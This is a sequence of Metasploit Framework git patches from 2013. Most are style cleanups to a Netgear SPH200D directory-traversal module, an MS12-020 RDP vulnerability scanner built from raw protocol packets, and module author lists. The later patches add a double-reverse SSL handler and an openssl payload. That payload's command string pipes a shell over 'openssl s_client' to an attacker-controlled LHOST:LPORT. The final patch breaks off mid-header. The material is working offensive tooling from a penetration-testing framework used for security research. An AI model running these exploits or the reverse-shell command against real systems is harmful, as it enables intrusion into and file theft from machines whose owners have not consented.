7b6d1f4fdde26fe8dfd7ca3e7da3ee42c1379c38 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 1 Feb 2013 13:36:15 -0600 Subject: [PATCH 089/129] Actually test alternate rubies. --- tools/msftidy.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a4..d8ee265111 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -226,9 +226,7 @@ class Msftidy puts "Checking syntax for #{f_rel}." rubies ||= RVM.list_strings res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - rubies.size == res.size - - error("Fails alternate Ruby version check") if rubies.size + error("Fails alternate Ruby version check") if rubies.size != res.size end def check_ranking From 152f397a1f8a2df61fdf07713159aa77f5138f88 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:38:11 +0100 Subject: [PATCH 090/129] first module cleanup --- .../admin/http/netgear_sph200d_traversal.rb | 81 +++++++++---------- 1 file changed, 39 insertions(+), 42 deletions(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 1bf1be8c33..fdf30c879e 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -14,19 +14,17 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', + 'Name' => 'Netgear SPH200D Directory Traversal Vulnerability', 'Description' => %q{ - This module exploits a directory traversal vulnerablity which is present - in Netgear SPH200D Skype telephone - You may wish to change SENSITIVE_FILES (hosts sensitive files), RPORT depending - on your environment. - }, + This module exploits a directory traversal vulnerablity which is present in + Netgear SPH200D Skype telephone. + }, 'References' => [ - [ 'URL', 'http://support.netgear.com/product/SPH200D' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], [ 'BID', '57660' ], [ 'EDB', '24441' ], + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ] ], 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE @@ -37,53 +35,52 @@ class Metasploit3 < Msf::Auxiliary OptPath.new('FILELIST', [ true, "File containing sensitive files, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), OptString.new('USERNAME',[ true, 'User to login with', 'admin']), - OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']) ], self.class) end def extract_words(wordfile) - return [] unless wordfile && File.readable?(wordfile) - begin - words = File.open(wordfile, "rb") do |f| - f.read - end - rescue - return [] + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read end - save_array = words.split(/\r?\n/) - return save_array + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array end #traversal every file def find_files(file,user,pass) - traversal = '/../..' + traversal = '/../../' res = send_request_cgi({ - 'method' => 'GET', - 'uri' => traversal << file, + 'method' => 'GET', + 'uri' => normalize_uri(traversal, file), 'basic_auth' => "#{user}:#{pass}" - }) + }) - if (res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/) - print_good("Request may have succeeded on #{rhost}:#{rport}:file->#{file}!") - vprint_status("Response: \r\n #{res.body}") + if res and res.code == 200 and res.body !~ /404\ File\ Not\ Found/ + print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}") report_web_vuln({ :host => rhost, :port => rport, :vhost => datastore['VHOST'], - :path => traversal << file, - :pname => traversal, + :path => "/", + :pname => normalize_uri(traversal, file), :risk => 3, - :proof => traversal, + :proof => normalize_uri(traversal, file), :name => self.fullname, :category => "web", :method => "GET" - }) + }) - loot = store_loot("lfi.data","text/plain",rhost, res.body,file) - print_good("File #{file} downloaded to: #{loot}") - elsif (res and res.code) - vprint_error("Attempt returned HTTP error #{res.code} and Body #{res.body} on #{rhost}:#{rport}:file->#{file}") + loot = store_loot("lfi.data","text/plain",rhost, res.body,file) + vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}") + elsif res and res.code + vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}") end end @@ -96,24 +93,24 @@ class Metasploit3 < Msf::Auxiliary #test login begin res = send_request_cgi({ - 'uri' => '/', - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) - return :abort if (res.code == 404) return :abort if res.nil? + return :abort if (res.code == 404) if [200, 301, 302].include?(res.code) - vprint_good("Successful login: #{user} : #{pass} on #{rhost}:#{rport}") + vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") else - vprint_error("No successful login possible. #{user} : #{pass} on #{rhost}:#{rport}") + vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") return :abort end rescue ::Rex::ConnectionError - vprint_error("Failed to connect to the web server") - return :abort + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return :abort end extract_words(datastore['FILELIST']).each do |file| From 996ee06b0fc79aa621f953058f2048d9aea02f72 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:43:54 +0100 Subject: [PATCH 091/129] fix another print_ call --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index fdf30c879e..478a0c39da 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary user = datastore['USERNAME'] pass = datastore['PASSWORD'] - print_status("Trying to login with #{user} / #{pass}") + vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") #test login begin From c24c926ffaa1da011df5e38dd36e3ad48d8b7e59 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 1 Feb 2013 20:55:06 +0100 Subject: [PATCH 092/129] add aditional check to detect valid device --- modules/auxiliary/admin/http/netgear_sph200d_traversal.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb index 478a0c39da..311bb83896 100644 --- a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -99,6 +99,7 @@ class Metasploit3 < Msf::Auxiliary }) return :abort if res.nil? + return :abort if (res.headers['Server'].nil? or res.headers['Server'] !~ /simple httpd/) return :abort if (res.code == 404) if [200, 301, 302].include?(res.code) From 4e6c93ec7da76593a356eb859dea31eed96b2924 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 1 Feb 2013 14:38:20 -0600 Subject: [PATCH 093/129] Various style fixes, fix ruby 1.8 compat --- .../auxiliary/scanner/rdp/ms12-020_check.rb | 216 ++++++++---------- 1 file changed, 98 insertions(+), 118 deletions(-) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12-020_check.rb index 93dc4bc58a..5a16d36851 100644 --- a/modules/auxiliary/scanner/rdp/ms12-020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12-020_check.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary 'Royce Davis @R3dy_ ', 'Brandon McCann @zeknox ' ], - 'License' => MSF_LICENSE, + 'License' => MSF_LICENSE )) register_options( @@ -42,36 +42,18 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def checkRdp(packet) + def check_rdp # code to check if RDP is open or not - vprint_status("#{peer} - Verifying RDP Protocol") - begin - # send connection - sock.put(packet) - # read packet to see if its rdp - res = sock.recv(1024) + vprint_status("#{peer} Verifying RDP protocol...") - if res.unpack("H*").join == "0300000b06d00000123400" - return true - else - return false - end - rescue - print_error("could not connect to RHOST") - return false - end - end + # send connection + sock.put(connection_request) - def connectionRequest() - packet = '' + - "\x03\x00" + # TPKT Header version 03, reserved 0 - "\x00\x0b" + # Length - "\x06" + # X.224 Data TPDU length - "\xe0" + # X.224 Type (Connection request) - "\x00\x00" + # dst reference - "\x00\x00" + # src reference - "\x00" # class and options - return packet + # read packet to see if its rdp + res = sock.get_once(-1, 5) + + # return true if this matches our vulnerable response + ( res and res == "\x03\x00\x00\x0b\x06\xd0\x00\x00\x12\x34\x00" ) end def report_goods @@ -79,120 +61,118 @@ class Metasploit3 < Msf::Auxiliary :host => rhost, :port => rport, :proto => 'tcp', - :name => 'The MS12-020 Checker', - :vuln => 'Confirmaiton that this host is vulnerable to MS12-020', - :refs => self.references, - :exploited_at => Time.now.utc + :name => self.name, + :info => 'Response indicates a missing patch', + :refs => self.references ) end - def connectInitial() - packet = '' + - "\x03\x00\x00\x65" + # TPKT Header - "\x02\xf0\x80" + # Data TPDU, EOT - "\x7f\x65\x5b" + # Connect-Initial - "\x04\x01\x01" + # callingDomainSelector - "\x04\x01\x01" + # callingDomainSelector - "\x01\x01\xff" + # upwardFlag - "\x30\x19" + # targetParams + size - "\x02\x01\x22" + # maxChannelIds - "\x02\x01\x20" + # maxUserIds - "\x02\x01\x00" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x18" + # minParams + size - "\x02\x01\x01" + # maxChannelIds - "\x02\x01\x01" + # maxUserIds - "\x02\x01\x01" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x01\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x30\x19" + # maxParams + size - "\x02\x01\xff" + # maxChannelIds - "\x02\x01\xff" + # maxUserIds - "\x02\x01\xff" + # maxTokenIds - "\x02\x01\x01" + # numPriorities - "\x02\x01\x00" + # minThroughput - "\x02\x01\x01" + # maxHeight - "\x02\x02\xff\xff" + # maxMCSPDUSize - "\x02\x01\x02" + # protocolVersion - "\x04\x00" # userData - return packet + def connection_request + "\x03\x00" + # TPKT Header version 03, reserved 0 + "\x00\x0b" + # Length + "\x06" + # X.224 Data TPDU length + "\xe0" + # X.224 Type (Connection request) + "\x00\x00" + # dst reference + "\x00\x00" + # src reference + "\x00" # class and options end - def userRequest() - packet = '' + - "\x03\x00" + # header - "\x00\x08" + # length - "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) - "\x28" # PER encoded PDU contents - return packet + def connect_initial + "\x03\x00\x00\x65" + # TPKT Header + "\x02\xf0\x80" + # Data TPDU, EOT + "\x7f\x65\x5b" + # Connect-Initial + "\x04\x01\x01" + # callingDomainSelector + "\x04\x01\x01" + # callingDomainSelector + "\x01\x01\xff" + # upwardFlag + "\x30\x19" + # targetParams + size + "\x02\x01\x22" + # maxChannelIds + "\x02\x01\x20" + # maxUserIds + "\x02\x01\x00" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x18" + # minParams + size + "\x02\x01\x01" + # maxChannelIds + "\x02\x01\x01" + # maxUserIds + "\x02\x01\x01" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x01\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x30\x19" + # maxParams + size + "\x02\x01\xff" + # maxChannelIds + "\x02\x01\xff" + # maxUserIds + "\x02\x01\xff" + # maxTokenIds + "\x02\x01\x01" + # numPriorities + "\x02\x01\x00" + # minThroughput + "\x02\x01\x01" + # maxHeight + "\x02\x02\xff\xff" + # maxMCSPDUSize + "\x02\x01\x02" + # protocolVersion + "\x04\x00" # userData end - def channelRequestOne - packet = '' + - "\x03\x00\x00\x0c" + - "\x02\xf0\x80\x38" + - "\x00\x01\x03\xeb" - return packet + def user_request + "\x03\x00" + # header + "\x00\x08" + # length + "\x02\xf0\x80" + # X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission) + "\x28" # PER encoded PDU contents end - def channelRequestTwo - packet = '' + - "\x03\x00\x00\x0c" + - "\x02\xf0\x80\x38" + - "\x00\x02\x03\xeb" - return packet + def channel_request_one + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x01\x03\xeb" + end + + def channel_request_two + "\x03\x00\x00\x0c" + + "\x02\xf0\x80\x38" + + "\x00\x02\x03\xeb" end def peer - return "#{rhost}:#{rport}" + "#{rhost}:#{rport}" end def run_host(ip) - begin - # open connection - connect() - rescue + + connect + + # check if rdp is open + if not check_rdp + disconnect return end - # check if rdp is open - if checkRdp(connectionRequest) + # send connectInitial + sock.put(connect_initial) - # send connectInitial - sock.put(connectInitial) - # send userRequest - sock.put(userRequest) - user1_res = sock.recv(1024) - # send 2nd userRequest - sock.put(userRequest) - user2_res = sock.recv(1024) - # send channel request one - sock.put(channelRequestOne) - channel_one_res = sock.recv(1024) - if channel_one_res.unpack("H*").to_s[16..19] == '3e00' - # vulnerable - print_good("#{peer} - Vulnerable to MS12-020") - report_goods + # send userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) - # send ChannelRequestTwo - prevent bsod - sock.put(channelRequestTwo) + # send 2nd userRequest + sock.put(user_request) + res = sock.get_once(-1, 5) - # report to the database - else - vprint_error("#{peer} - Not Vulnerable") - end + # send channel request one + sock.put(channel_request_one) + res = sock.get_once(-1, 5) + if res and res[8,2] == "\x3e\x00" + # send ChannelRequestTwo - prevent BSoD + sock.put(channel_request_two) + + print_good("#{peer} Vulnerable to MS12-020") + report_goods + else + vprint_status("#{peer} Not Vulnerable") end - # close connection + disconnect() end end - From d5ae0053323c61a04220d3e6e28ab92150622df6 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 1 Feb 2013 14:39:01 -0600 Subject: [PATCH 094/129] Rename with underscores --- .../scanner/rdp/{ms12-020_check.rb => ms12_020_check.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/scanner/rdp/{ms12-020_check.rb => ms12_020_check.rb} (100%) diff --git a/modules/auxiliary/scanner/rdp/ms12-020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb similarity index 100% rename from modules/auxiliary/scanner/rdp/ms12-020_check.rb rename to modules/auxiliary/scanner/rdp/ms12_020_check.rb From a63cf6977c4ccd59b5441c4bfa5666a8a8b4b639 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 1 Feb 2013 13:30:39 -0600 Subject: [PATCH 095/129] Fix 1.8 support --- modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index c405327ab0..ef6906721e 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget' => 0, - 'DisclosureDate' => "Jan 22 2013", + 'DisclosureDate' => "Jan 22 2013" )) register_options([ @@ -145,4 +145,3 @@ class Metasploit3 < Msf::Exploit::Remote end end - From e8def29b4f810a1fd7d8ac6643bceddbc9bad991 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 1 Feb 2013 16:33:44 -0600 Subject: [PATCH 096/129] Dropping all twitter handles Also adds "pbot" as an accepted lowercase word. This will come up pretty routinley for functions and stuff. --- modules/exploits/multi/misc/pbot_exec.rb | 2 +- modules/exploits/windows/browser/adobe_cooltype_sing.rb | 3 +-- modules/exploits/windows/browser/ms10_090_ie_css_clip.rb | 2 +- modules/exploits/windows/fileformat/adobe_cooltype_sing.rb | 3 +-- tools/msftidy.rb | 3 ++- 5 files changed, 6 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/misc/pbot_exec.rb b/modules/exploits/multi/misc/pbot_exec.rb index fb3f1693f9..90ebfa34a7 100644 --- a/modules/exploits/multi/misc/pbot_exec.rb +++ b/modules/exploits/multi/misc/pbot_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'evilcry', # pbot analysis' 'Jay Turla', # pbot analysis - '@bwallHatesTwits', # PoC + 'bwall', # aka @bwallHatesTwits, PoC 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 0a64ebeae4..e51ecadf6d 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index cee5f962a6..a7ba46418a 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'unknown', # discovered in the wild - '@yuange1975', # PoC posted to twitter + 'Yuange', # PoC posted to twitter under @yuange1975 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index a8ba842b7e..2e2ad87d3f 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/tools/msftidy.rb b/tools/msftidy.rb index aa63bea6a4..d2a17447f5 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -204,7 +204,7 @@ class Msftidy end if author_name =~ /^@.+$/ - error("No Twitter handle, please. Try leaving it in a comment instead.") + error("No Twitter handles, please. Try leaving it in a comment instead.") end if not author_name.ascii_only? @@ -281,6 +281,7 @@ class Msftidy words.each do |word| if %w{and or the for to in of as with a an on at}.include?(word) next + elsif %w{pbot}.include?(word) elsif word =~ /^[a-z]+$/ warn("Improper capitalization in module title: '#{word}'") end From c3801ad08320fb53ad97d8e3f3682f958ffb2952 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Sun, 3 Feb 2013 04:44:25 -0600 Subject: [PATCH 097/129] This adds an openssl CMD payload and handler --- .../core/handler/reverse_tcp_double_ssl.rb | 300 ++++++++++++++++++ .../singles/cmd/unix/reverse_openssl.rb | 58 ++++ 2 files changed, 358 insertions(+) create mode 100644 lib/msf/core/handler/reverse_tcp_double_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_openssl.rb diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb new file mode 100644 index 0000000000..4410de7df7 --- /dev/null +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -0,0 +1,300 @@ +# -*- coding: binary -*- +module Msf +module Handler + +### +# +# This module implements the reverse double TCP handler. This means +# that it listens on a port waiting for a two connections, one connection +# is treated as stdin, the other as stdout. +# +# This handler depends on having a local host and port to +# listen on. +# +### +module ReverseTcpDoubleSSL + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_tcp_double'. + # + def self.handler_type + return "reverse_tcp_double_ssl" + end + + # + # Returns the connection-described general handler type, in this case + # 'reverse'. + # + def self.general_handler_type + "reverse" + end + + # + # Initializes the reverse TCP handler and ads the options that are required + # for all reverse TCP payloads, like local host and local port. + # + def initialize(info = {}) + super + + register_options( + [ + Opt::LHOST, + Opt::LPORT(4444) + ], Msf::Handler::ReverseTcpDoubleSSL) + + register_advanced_options( + [ + OptBool.new('ReverseAllowProxy', [ true, 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST', false]), + ], Msf::Handler::ReverseTcpDoubleSSL) + + self.conn_threads = [] + end + + # + # Starts the listener but does not actually attempt + # to accept a connection. Throws socket exceptions + # if it fails to start the listener. + # + def setup_handler + if datastore['Proxies'] and not datastore['ReverseAllowProxy'] + raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true' + end + self.listener_sock = Rex::Socket::TcpServer.create( + # 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSL' => true, + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + end + + # + # Closes the listener socket if one was created. + # + def cleanup_handler + stop_handler + + # Kill any remaining handle_connection threads that might + # be hanging around + conn_threads.each { |thr| + thr.kill + } + end + + # + # Starts monitoring for an inbound connection. + # + def start_handler + self.listener_thread = framework.threads.spawn("ReverseTcpDoubleSSLHandlerListener", false) { + sock_inp = nil + sock_out = nil + + print_status("Started reverse double handler") + + begin + # Accept two client connection + begin + client_a = self.listener_sock.accept + print_status("Accepted the first client connection...") + + client_b = self.listener_sock.accept + print_status("Accepted the second client connection...") + + sock_inp, sock_out = detect_input_output(client_a, client_b) + + rescue + wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") + return nil + end + + # Increment the has connection counter + self.pending_connections += 1 + + # Start a new thread and pass the client connection + # as the input and output pipe. Client's are expected + # to implement the Stream interface. + conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy| + begin + chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy) + handle_connection(chan.lsock) + rescue + elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}") + end + } + end while true + } + end + + # + # Accept two sockets and determine which one is the input and which + # is the output. This method assumes that these sockets pipe to a + # remote shell, it should overridden if this is not the case. + # + def detect_input_output(sock_a, sock_b) + + begin + + # Flush any pending socket data + sock_a.get_once if sock_a.has_read_data?(0.25) + sock_b.get_once if sock_b.has_read_data?(0.25) + + etag = Rex::Text.rand_text_alphanumeric(16) + echo = "echo #{etag};\n" + + print_status("Command: #{echo.strip}") + + print_status("Writing to socket A") + sock_a.put(echo) + + print_status("Writing to socket B") + sock_b.put(echo) + + print_status("Reading from sockets...") + + resp_a = '' + resp_b = '' + + if (sock_a.has_read_data?(1)) + print_status("Reading from socket A") + resp_a = sock_a.get_once + print_status("A: #{resp_a.inspect}") + end + + if (sock_b.has_read_data?(1)) + print_status("Reading from socket B") + resp_b = sock_b.get_once + print_status("B: #{resp_b.inspect}") + end + + print_status("Matching...") + if (resp_b.match(etag)) + print_status("A is input...") + return sock_a, sock_b + else + print_status("B is input...") + return sock_b, sock_a + end + + rescue ::Exception + print_status("Caught exception in detect_input_output: #{$!}") + end + + end + + # + # Stops monitoring for an inbound connection. + # + def stop_handler + # Terminate the listener thread + if (self.listener_thread and self.listener_thread.alive? == true) + self.listener_thread.kill + self.listener_thread = nil + end + + if (self.listener_sock) + self.listener_sock.close + self.listener_sock = nil + end + end + +protected + + attr_accessor :listener_sock # :nodoc: + attr_accessor :listener_thread # :nodoc: + attr_accessor :conn_threads # :nodoc: + + + module TcpReverseDoubleSSLChannelExt + attr_accessor :localinfo + attr_accessor :peerinfo + end + + ### + # + # This class wrappers the communication channel built over the two inbound + # connections, allowing input and output to be split across both. + # + ### + class TcpReverseDoubleSSLSessionChannel + + include Rex::IO::StreamAbstraction + + def initialize(framework, inp, out) + @framework = framework + @sock_inp = inp + @sock_out = out + + initialize_abstraction + + self.lsock.extend(TcpReverseDoubleSSLChannelExt) + self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":") + self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":") + + monitor_shell_stdout + end + + # + # Funnel data from the shell's stdout to +rsock+ + # + # +StreamAbstraction#monitor_rsock+ will deal with getting data from + # the client (user input). From there, it calls our write() below, + # funneling the data to the shell's stdin on the other side. + # + def monitor_shell_stdout + + # Start a thread to pipe data between stdin/stdout and the two sockets + @monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) { + begin + while true + # Handle data from the server and write to the client + if (@sock_out.has_read_data?(0.50)) + buf = @sock_out.get_once + break if buf.nil? + rsock.put(buf) + end + end + rescue ::Exception => e + ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}") + end + + # Clean up the sockets... + begin + @sock_inp.close + @sock_out.close + rescue ::Exception + end + } + end + + def write(buf, opts={}) + @sock_inp.write(buf, opts) + end + + def read(length=0, opts={}) + @sock_out.read(length, opts) + end + + # + # Closes the stream abstraction and kills the monitor thread. + # + def close + @monitor_thread.kill if (@monitor_thread) + @monitor_thread = nil + + cleanup_abstraction + end + + end + + +end + +end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb new file mode 100644 index 0000000000..ab9c0c2a13 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -0,0 +1,58 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', + 'Description' => 'Creates an interactive shell through two inbound connections', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end From ffb88baf4a25f1f13b6e1ccfc8a8343e6a375bea Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sun, 3 Feb 2013 14:59:15 -0500 Subject: [PATCH 098/129] initial module import from SV rev_ssl branch --- lib/msf/core/handler/reverse_tcp_ssl.rb | 122 ++++++++++++++++++ lib/msf/core/module/platform.rb | 16 +++ modules/exploits/multi/handler.rb | 2 +- .../cmd/unix/reverse_bash_telnet_ssl.rb | 63 +++++++++ .../cmd/unix/reverse_openssl_double.rb | 68 ++++++++++ .../singles/cmd/unix/reverse_perl_ssl.rb | 63 +++++++++ .../singles/cmd/unix/reverse_php_ssl.rb | 61 +++++++++ .../singles/cmd/unix/reverse_python_ssl.rb | 79 ++++++++++++ .../singles/cmd/unix/reverse_ruby_ssl.rb | 49 +++++++ .../cmd/unix/reverse_ssl_double_telnet.rb | 67 ++++++++++ .../singles/python/shell_reverse_tcp_ssl.rb | 77 +++++++++++ .../singles/ruby/shell_reverse_tcp_ssl.rb | 52 ++++++++ 12 files changed, 718 insertions(+), 1 deletion(-) create mode 100644 lib/msf/core/handler/reverse_tcp_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_openssl_double.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_php_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_python_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb create mode 100644 modules/payloads/singles/python/shell_reverse_tcp_ssl.rb create mode 100644 modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb new file mode 100644 index 